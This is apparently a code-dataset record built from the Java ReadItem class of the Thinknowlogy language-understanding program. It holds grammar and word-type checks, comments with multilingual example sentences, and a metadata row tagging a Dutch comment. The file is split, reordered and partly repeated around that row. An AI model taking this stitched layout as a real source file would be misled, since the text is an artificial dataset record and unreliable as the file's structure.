protected ReadItem( boolean isUncountableGeneralizationNoun, short wordOrderNr, short wordParameter, short wordTypeNr, int readStringLength, String _readString, WordItem readWordItem, List myList, WordItem myWordItem )
{
initializeItemVariables( Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, myList, myWordItem );
// Private initialized variables
isUncountableGeneralizationNoun_ = isUncountableGeneralizationNoun;
wordOrderNr_ = wordOrderNr;
wordParameter_ = wordParameter;
wordTypeNr_ = wordTypeNr;
readWordItem_ = readWordItem;
// Protected initialized variables
readString = ( _readString != null ?
_readString.substring( 0, readStringLength ) : null );
}
// Protected virtual methods
protected void displayString( boolean isReturnQueryToPosition )
{
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
if( readString != null )
{
if( GlobalVariables.hasFoundQuery )
GlobalVariables.queryStringBuffer.append( isReturnQueryToPosition ? Constants.NEW_LINE_STRING : Constants.QUERY_SEPARATOR_SPACE_STRING );
// Display status if not active
if( !isActiveItem() )
GlobalVariables.queryStringBuffer.append( statusChar() );
GlobalVariables.hasFoundQuery = true;
GlobalVariables.queryStringBuffer.append( readString );
}
}
protected void displayWordReferences( boolean isReturnQueryToPosition )
{
String wordString;
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
if( readWordItem_ != null &&
( wordString = readWordItem_.wordTypeString( true, wordTypeNr_ ) ) != null )
{
if( GlobalVariables.hasFoundQuery )
GlobalVariables.queryStringBuffer.append( isReturnQueryToPosition ? Constants.NEW_LINE_STRING : Constants.QUERY_SEPARATOR_SPACE_STRING );
// Display status if not active
if( !isActiveItem() )
GlobalVariables.queryStringBuffer.append( statusChar() );
GlobalVariables.hasFoundQuery = true;
GlobalVariables.queryStringBuffer.append( wordString );
}
}
protected boolean hasParameter( int queryParameter )
{
return ( grammarParameter == queryParameter ||
wordOrderNr_ == queryParameter ||
wordParameter_ == queryParameter ||
( queryParameter == Constants.MAX_QUERY_PARAMETER &&
( grammarParameter > Constants.NO_GRAMMAR_PARAMETER ||
wordOrderNr_ > Constants.NO_ORDER_NR ||
wordParameter_ > Constants.NO_WORD_PARAMETER ) ) );
}
protected boolean hasReferenceItemById( int querySentenceNr, int queryItemNr )
{
return ( ( readWordItem_ == null ? false :
( querySentenceNr == Constants.NO_SENTENCE_NR ? true : readWordItem_.creationSentenceNr() == querySentenceNr ) &&
( queryItemNr == Constants.NO_ITEM_NR ? true : readWordItem_.itemNr() == queryItemNr ) ) ||
( definitionGrammarItem == null ? false :
( querySentenceNr == Constants.NO_SENTENCE_NR ? true : definitionGrammarItem.creationSentenceNr() == querySentenceNr ) &&
( queryItemNr == Constants.NO_ITEM_NR ? true : definitionGrammarItem.itemNr() == queryItemNr ) ) );
}
protected boolean hasWordType( short queryWordTypeNr )
{
return ( wordTypeNr_ == queryWordTypeNr );
}
protected boolean isSorted( Item nextSortItem )
{
ReadItem nextSortReadItem = (ReadItem)nextSortItem;
// Remark: All read items should have the same creationSentenceNr
return ( nextSortItem != null &&
// 1) Ascending wordOrderNr_
( wordOrderNr_ < nextSortReadItem.wordOrderNr_ ||
// 2) Descending wordTypeNr_
( wordOrderNr_ == nextSortReadItem.wordOrderNr_ &&
wordTypeNr_ > nextSortReadItem.wordTypeNr_ ) ) );
}
protected String itemString()
{
return readString;
}
protected StringBuffer itemToStringBuffer( short queryWordTypeNr )
{
StringBuffer queryStringBuffer;
String wordString;
String wordTypeString = myWordItem().wordTypeNameString( wordTypeNr_ );
itemBaseToStringBuffer( queryWordTypeNr );
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
queryStringBuffer = GlobalVariables.queryStringBuffer;
if( hasWordPassedIntegrityCheckOfStoredUserSentence )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "hasWordPassedIntegrityCheckOfStoredUserSentence" );
if( isMarkedBySetGrammarParameter )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "isMarkedBySetGrammarParameter" );
if( wordOrderNr_ > Constants.NO_ORDER_NR )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordOrderNr:" + wordOrderNr_ );
if( wordParameter_ > Constants.NO_WORD_PARAMETER )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordParameter:" + wordParameter_ );
if( grammarParameter > Constants.NO_GRAMMAR_PARAMETER )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "grammarParameter:" + grammarParameter );
if( readString != null )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "readString:" + Constants.QUERY_STRING_START_CHAR + readString + Constants.QUERY_STRING_END_CHAR );
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordType:" + ( wordTypeString == null ? Constants.EMPTY_STRING : wordTypeString ) + Constants.QUERY_WORD_TYPE_STRING + wordTypeNr_ );
if( readWordItem_ != null )
{
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "readWordItem" + Constants.QUERY_REF_ITEM_START_CHAR + readWordItem_.creationSentenceNr() + Constants.QUERY_SEPARATOR_CHAR + readWordItem_.itemNr() + Constants.QUERY_REF_ITEM_END_CHAR );
if( ( wordString = readWordItem_.wordTypeString( true, wordTypeNr_ ) ) != null )
queryStringBuffer.append( Constants.QUERY_WORD_REFERENCE_START_CHAR + wordString + Constants.QUERY_WORD_REFERENCE_END_CHAR );
}
if( definitionGrammarItem != null )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "definitionGrammarItem" + Constants.QUERY_REF_ITEM_START_CHAR + definitionGrammarItem.creationSentenceNr() + Constants.QUERY_SEPARATOR_CHAR + definitionGrammarItem.itemNr() + Constants.QUERY_REF_ITEM_END_CHAR );
return queryStringBuffer;
}
protected BoolResultType findMatchingWordReferenceString( String queryString )
{
if( readWordItem_ != null )
return readWordItem_.findMatchingWordReferenceString( queryString );
return new BoolResultType();
}
// Protected methods
protected boolean hasFoundRelationWordInThisList( WordItem relationWordItem )
{
ReadItem searchReadItem = this;
if( relationWordItem != null )
{
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() &&
searchReadItem.readWordItem() == relationWordItem )
return true;
searchReadItem = searchReadItem.nextReadItem();
}
}
return false;
}
protected boolean isAdjectiveAssigned()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_ASSIGNED );
}
protected boolean isAdjectiveAssignedOrEmpty()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_ASSIGNED ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EMPTY );
}
protected boolean isAdjectiveEvery()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EVERY_NEUTRAL ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EVERY_FEMININE_MASCULINE );
}
protected boolean isAdjectivePrevious()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_PREVIOUS_NEUTRAL ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_PREVIOUS_FEMININE_MASCULINE );
}
protected boolean isArticle()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_ARTICLE );
}
protected boolean isChineseReversedImperativeNoun()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_NUMBER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_VALUE );
}
protected boolean isConjunction()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_CONJUNCTION );
}
protected boolean isDeterminerOrPronoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_SINGULAR_SUBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_SINGULAR_OBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_PRONOUN_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_SUBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_OBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_PLURAL ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_PRONOUN_PLURAL );
}
protected boolean isFrenchPreposition()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_FRENCH_A );
}
protected boolean isGeneralizationWord()
{
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_WORD );
}
protected boolean isImperativeNoun()
{
return ( wordParameter_ == Constants.NO_WORD_PARAMETER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_LANGUAGE ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_MIND ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_NUMBER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_USER );
}
protected boolean isMatchingReadWordTypeNr( short wordTypeNr )
{
return isMatchingWordType( wordTypeNr_, wordTypeNr );
}
protected boolean isNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NOUN_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_NOUN_PLURAL );
}
protected boolean isNonChineseNumeral()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NUMERAL &&
wordParameter_ != Constants.WORD_PARAMETER_NUMERAL_CHINESE_ALL );
}
protected boolean isNumeralBoth()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NUMERAL_BOTH );
}
protected boolean isNegative()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_NO ||
wordParameter_ == Constants.WORD_PARAMETER_ADVERB_NOT ||
wordParameter_ == Constants.WORD_PARAMETER_ADVERB_FRENCH_PAS );
}
protected boolean isNounHeadOrTail()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL );
}
protected boolean isNounValue()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_VALUE );
}
protected boolean isNounValueAhead()
{
ReadItem lookingAheadReadItem;
return ( ( lookingAheadReadItem = this.nextReadItem() ) != null &&
( lookingAheadReadItem = lookingAheadReadItem.nextReadItem() ) != null &&
lookingAheadReadItem.isNounValue() );
}
protected boolean isNounPartOf()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_PART );
}
protected boolean isPossessiveDeterminer()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_PLURAL );
}
protected boolean isPreposition()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PREPOSITION );
}
protected boolean isProperNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PROPER_NOUN );
}
protected boolean isQuestionMark()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_QUESTION_MARK );
}
protected boolean isRelationWord()
{
// To avoid triggering on the article before a proper noun preceded by defined article
return ( wordTypeNr_ != Constants.WORD_TYPE_ARTICLE &&
grammarParameter == Constants.GRAMMAR_RELATION_WORD );
}
protected boolean isSeparator()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_COMMA ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_COLON ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_EXCLAMATION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_QUESTION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_SPANISH_INVERTED_EXCLAMATION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_SPANISH_INVERTED_QUESTION_MARK );
}
protected boolean isSingularNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NOUN_SINGULAR );
}
protected boolean isSkippingChineseIntegrityCheckWords()
{
switch( wordTypeNr_ )
{
case Constants.WORD_TYPE_SYMBOL:
case Constants.WORD_TYPE_PREPOSITION:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION );
case Constants.WORD_TYPE_NUMERAL:
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_ARTICLE:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART );
case Constants.WORD_TYPE_CONJUNCTION:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART ||
grammarParameter == Constants.GRAMMAR_EXCLUSIVE_SPECIFICATION_CONJUNCTION );
case Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_SUBJECTIVE:
return ( grammarParameter == Constants.GRAMMAR_RELATION_PART );
}
return false;
}
protected boolean isSkippingIntegrityCheckWords()
{
switch( wordTypeNr_ )
{
case Constants.WORD_TYPE_SYMBOL:
// Skip extra comma in sentence that isn't written.
// See grammar file for: '( symbolComma )'
// Example: "A creature is an animal, fungus, human-being, micro-organism, or plant."
return ( grammarParameter == Constants.GRAMMAR_EXCLUSIVE_SPECIFICATION_CONJUNCTION ||
grammarParameter == Constants.GRAMMAR_SENTENCE_CONJUNCTION );
case Constants.WORD_TYPE_NUMERAL:
// Skip on different order of specification words with a numeral
// Example: "John has 2 sons and a daughter"
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION );
case Constants.WORD_TYPE_ADJECTIVE:
// Typical for Spanish
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD ||
// Typical for French
grammarParameter == Constants.GRAMMAR_RELATION_PART );
case Constants.WORD_TYPE_ADVERB:
// Skip mismatch in uncertainty
return ( grammarParameter == Constants.GRAMMAR_VERB );
case Constants.WORD_TYPE_ARTICLE:
// Skip missing indefinite article, because of a plural noun
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION ||
// Skip wrong indefinite article
// Example: "An horse is incorrect."
grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART ||
// Typical for Dutch
// Skip wrong definite article
// Example: "De paard is onjuist."
grammarParameter == Constants.GRAMMAR_GENERALIZATION_ASSIGNMENT );
case Constants.WORD_TYPE_CONJUNCTION:
// Skip question entered with singular verb, but written with plural verb
// Example: "Expert is a user and his password is expert123."
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION ||
// Skip linked conjunctions
// Example: "Guest is a user and has no password."
grammarParameter == Constants.GRAMMAR_LINKED_GENERALIZATION_CONJUNCTION ||
// Skip sentence conjunctions
// Example: "Expert is a user and his password is expert123."
grammarParameter == Constants.GRAMMAR_SENTENCE_CONJUNCTION );
case Constants.WORD_TYPE_NOUN_SINGULAR:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_WORD ||
grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_NOUN_PLURAL:
// Skip plural noun if singular noun is entered
// Example: entered: "Is Joe a child?", written: "Are Paul and Joe children?"
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_VERB_SINGULAR:
return ( grammarParameter == Constants.GRAMMAR_VERB );
case Constants.WORD_TYPE_VERB_PLURAL:
// Skip plural question verb if singular verb is entered
// Example: entered: "Is Joe a child?", written: "Are Paul and Joe children?"
return ( grammarParameter == Constants.GRAMMAR_QUESTION_VERB );
}
return false;
}
protected boolean isSpecificationWord()
{
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
}
protected boolean isSymbol()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_SYMBOL );
}
protected boolean isUncountableGeneralizationNoun()
{
return isUncountableGeneralizationNoun_;
}
protected boolean isVerb()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_VERB_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_VERB_PLURAL );
}
protected boolean isVirtualListPreposition()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_FROM ||
wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_TO ||
wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_OF );
}
protected boolean isText()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_TEXT );
}
protected short readAheadChineseImperativeVerbParameter()
{
ReadItem searchReadItem = this;
if( wordParameter_ == Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_CHINESE_PUT )
{
while( ( searchReadItem = searchReadItem.nextReadItem() ) != null )
{
switch( searchReadItem.wordParameter() )
{
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_ADD:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_ADD;
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_MOVE:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_MOVE;
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_REMOVE:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_REMOVE;
}
}
}
return Constants.NO_WORD_PARAMETER;
}
protected short wordOrderNr()
{
return wordOrderNr_;
}
protected short wordParameter()
{
return wordParameter_;
}
protected short wordTypeNr()
{
return wordTypeNr_;
}
protected byte changeReadWord( short newWordTypeNr, WordItem newReadWordItem )
{
if( newReadWordItem == null )
return startError( 1, null, "The given new read word item is undefined" );
wordTypeNr_ = newWordTypeNr;
readWordItem_ = newReadWordItem;
return Constants.RESULT_OK;
}
protected String readWordTypeString()
{
return ( readWordItem_ != null ?
readWordItem_.activeWordTypeString( wordTypeNr_ ) : null );
}
protected ReadItem firstRelationWordReadItem()
{
ReadItem searchReadItem = this;
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() )
return searchReadItem;
searchReadItem = searchReadItem.nextReadItem();
}
return null;
}
protected ReadItem nextReadItem()
{
return (ReadItem)nextItem;
}
protected WordItem lookAheadRelationWordItem()
{
ReadItem searchReadItem = this;
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() )
return searchReadItem.readWordItem();
searchReadItem = searchReadItem.nextReadItem();
}
return null;
}
protected WordItem readWordItem()
{
return readWordItem_;
}
protected WordTypeItem activeReadWordTypeItem()
{
return ( readWordItem_ != null ?
readWordItem_.activeWordTypeItem( true, wordTypeNr_ ) : null );
}
};
/*************************************************************************
* "The godly will see these things and be glad,
* while the wicked are struck in silent." (Psalm 107:42)
*************************************************************************/
| 980f/Thinknowlogy | source/Java/org/mafait/thinknowlogy/ReadItem.java | 7,284 | // Example: "De paard is onjuist." | line_comment | nl | /* Class: ReadItem
* Parent class: Item
* Purpose: To temporarily store info about the read words of a sentence
* Version: Thinknowlogy 2018r4 (New Science)
*************************************************************************/
/* Copyright (C) 2009-2018, Menno Mafait. Your suggestions, modifications,
* corrections and bug reports are welcome at http://mafait.org/contact/
*************************************************************************/
/* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*************************************************************************/
package org.mafait.thinknowlogy;
class ReadItem extends Item
{
// Private initialized variables
private boolean isUncountableGeneralizationNoun_ = false;
private short wordOrderNr_ = Constants.NO_ORDER_NR;
private short wordParameter_ = Constants.NO_WORD_PARAMETER;
private short wordTypeNr_ = Constants.NO_WORD_TYPE_NR;
private WordItem readWordItem_ = null;
// Protected constructed variables
protected boolean hasWordPassedIntegrityCheckOfStoredUserSentence = false;
protected boolean isMarkedBySetGrammarParameter = false;
protected short grammarParameter = Constants.NO_GRAMMAR_PARAMETER;
protected GrammarItem definitionGrammarItem = null;
// Protected initialized variables
protected String readString = null;
// Constructor
protected ReadItem( boolean isUncountableGeneralizationNoun, short wordOrderNr, short wordParameter, short wordTypeNr, int readStringLength, String _readString, WordItem readWordItem, List myList, WordItem myWordItem )
{
initializeItemVariables( Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, Constants.NO_SENTENCE_NR, myList, myWordItem );
// Private initialized variables
isUncountableGeneralizationNoun_ = isUncountableGeneralizationNoun;
wordOrderNr_ = wordOrderNr;
wordParameter_ = wordParameter;
wordTypeNr_ = wordTypeNr;
readWordItem_ = readWordItem;
// Protected initialized variables
readString = ( _readString != null ?
_readString.substring( 0, readStringLength ) : null );
}
// Protected virtual methods
protected void displayString( boolean isReturnQueryToPosition )
{
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
if( readString != null )
{
if( GlobalVariables.hasFoundQuery )
GlobalVariables.queryStringBuffer.append( isReturnQueryToPosition ? Constants.NEW_LINE_STRING : Constants.QUERY_SEPARATOR_SPACE_STRING );
// Display status if not active
if( !isActiveItem() )
GlobalVariables.queryStringBuffer.append( statusChar() );
GlobalVariables.hasFoundQuery = true;
GlobalVariables.queryStringBuffer.append( readString );
}
}
protected void displayWordReferences( boolean isReturnQueryToPosition )
{
String wordString;
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
if( readWordItem_ != null &&
( wordString = readWordItem_.wordTypeString( true, wordTypeNr_ ) ) != null )
{
if( GlobalVariables.hasFoundQuery )
GlobalVariables.queryStringBuffer.append( isReturnQueryToPosition ? Constants.NEW_LINE_STRING : Constants.QUERY_SEPARATOR_SPACE_STRING );
// Display status if not active
if( !isActiveItem() )
GlobalVariables.queryStringBuffer.append( statusChar() );
GlobalVariables.hasFoundQuery = true;
GlobalVariables.queryStringBuffer.append( wordString );
}
}
protected boolean hasParameter( int queryParameter )
{
return ( grammarParameter == queryParameter ||
wordOrderNr_ == queryParameter ||
wordParameter_ == queryParameter ||
( queryParameter == Constants.MAX_QUERY_PARAMETER &&
( grammarParameter > Constants.NO_GRAMMAR_PARAMETER ||
wordOrderNr_ > Constants.NO_ORDER_NR ||
wordParameter_ > Constants.NO_WORD_PARAMETER ) ) );
}
protected boolean hasReferenceItemById( int querySentenceNr, int queryItemNr )
{
return ( ( readWordItem_ == null ? false :
( querySentenceNr == Constants.NO_SENTENCE_NR ? true : readWordItem_.creationSentenceNr() == querySentenceNr ) &&
( queryItemNr == Constants.NO_ITEM_NR ? true : readWordItem_.itemNr() == queryItemNr ) ) ||
( definitionGrammarItem == null ? false :
( querySentenceNr == Constants.NO_SENTENCE_NR ? true : definitionGrammarItem.creationSentenceNr() == querySentenceNr ) &&
( queryItemNr == Constants.NO_ITEM_NR ? true : definitionGrammarItem.itemNr() == queryItemNr ) ) );
}
protected boolean hasWordType( short queryWordTypeNr )
{
return ( wordTypeNr_ == queryWordTypeNr );
}
protected boolean isSorted( Item nextSortItem )
{
ReadItem nextSortReadItem = (ReadItem)nextSortItem;
// Remark: All read items should have the same creationSentenceNr
return ( nextSortItem != null &&
// 1) Ascending wordOrderNr_
( wordOrderNr_ < nextSortReadItem.wordOrderNr_ ||
// 2) Descending wordTypeNr_
( wordOrderNr_ == nextSortReadItem.wordOrderNr_ &&
wordTypeNr_ > nextSortReadItem.wordTypeNr_ ) ) );
}
protected String itemString()
{
return readString;
}
protected StringBuffer itemToStringBuffer( short queryWordTypeNr )
{
StringBuffer queryStringBuffer;
String wordString;
String wordTypeString = myWordItem().wordTypeNameString( wordTypeNr_ );
itemBaseToStringBuffer( queryWordTypeNr );
if( GlobalVariables.queryStringBuffer == null )
GlobalVariables.queryStringBuffer = new StringBuffer();
queryStringBuffer = GlobalVariables.queryStringBuffer;
if( hasWordPassedIntegrityCheckOfStoredUserSentence )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "hasWordPassedIntegrityCheckOfStoredUserSentence" );
if( isMarkedBySetGrammarParameter )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "isMarkedBySetGrammarParameter" );
if( wordOrderNr_ > Constants.NO_ORDER_NR )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordOrderNr:" + wordOrderNr_ );
if( wordParameter_ > Constants.NO_WORD_PARAMETER )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordParameter:" + wordParameter_ );
if( grammarParameter > Constants.NO_GRAMMAR_PARAMETER )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "grammarParameter:" + grammarParameter );
if( readString != null )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "readString:" + Constants.QUERY_STRING_START_CHAR + readString + Constants.QUERY_STRING_END_CHAR );
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "wordType:" + ( wordTypeString == null ? Constants.EMPTY_STRING : wordTypeString ) + Constants.QUERY_WORD_TYPE_STRING + wordTypeNr_ );
if( readWordItem_ != null )
{
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "readWordItem" + Constants.QUERY_REF_ITEM_START_CHAR + readWordItem_.creationSentenceNr() + Constants.QUERY_SEPARATOR_CHAR + readWordItem_.itemNr() + Constants.QUERY_REF_ITEM_END_CHAR );
if( ( wordString = readWordItem_.wordTypeString( true, wordTypeNr_ ) ) != null )
queryStringBuffer.append( Constants.QUERY_WORD_REFERENCE_START_CHAR + wordString + Constants.QUERY_WORD_REFERENCE_END_CHAR );
}
if( definitionGrammarItem != null )
queryStringBuffer.append( Constants.QUERY_SEPARATOR_STRING + "definitionGrammarItem" + Constants.QUERY_REF_ITEM_START_CHAR + definitionGrammarItem.creationSentenceNr() + Constants.QUERY_SEPARATOR_CHAR + definitionGrammarItem.itemNr() + Constants.QUERY_REF_ITEM_END_CHAR );
return queryStringBuffer;
}
protected BoolResultType findMatchingWordReferenceString( String queryString )
{
if( readWordItem_ != null )
return readWordItem_.findMatchingWordReferenceString( queryString );
return new BoolResultType();
}
// Protected methods
protected boolean hasFoundRelationWordInThisList( WordItem relationWordItem )
{
ReadItem searchReadItem = this;
if( relationWordItem != null )
{
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() &&
searchReadItem.readWordItem() == relationWordItem )
return true;
searchReadItem = searchReadItem.nextReadItem();
}
}
return false;
}
protected boolean isAdjectiveAssigned()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_ASSIGNED );
}
protected boolean isAdjectiveAssignedOrEmpty()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_ASSIGNED ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EMPTY );
}
protected boolean isAdjectiveEvery()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EVERY_NEUTRAL ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_EVERY_FEMININE_MASCULINE );
}
protected boolean isAdjectivePrevious()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_PREVIOUS_NEUTRAL ||
wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_PREVIOUS_FEMININE_MASCULINE );
}
protected boolean isArticle()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_ARTICLE );
}
protected boolean isChineseReversedImperativeNoun()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_NUMBER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_VALUE );
}
protected boolean isConjunction()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_CONJUNCTION );
}
protected boolean isDeterminerOrPronoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_SINGULAR_SUBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_SINGULAR_OBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_PRONOUN_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_SUBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_OBJECTIVE ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_PLURAL ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_PRONOUN_PLURAL );
}
protected boolean isFrenchPreposition()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_FRENCH_A );
}
protected boolean isGeneralizationWord()
{
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_WORD );
}
protected boolean isImperativeNoun()
{
return ( wordParameter_ == Constants.NO_WORD_PARAMETER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_LANGUAGE ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_MIND ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_NUMBER ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_USER );
}
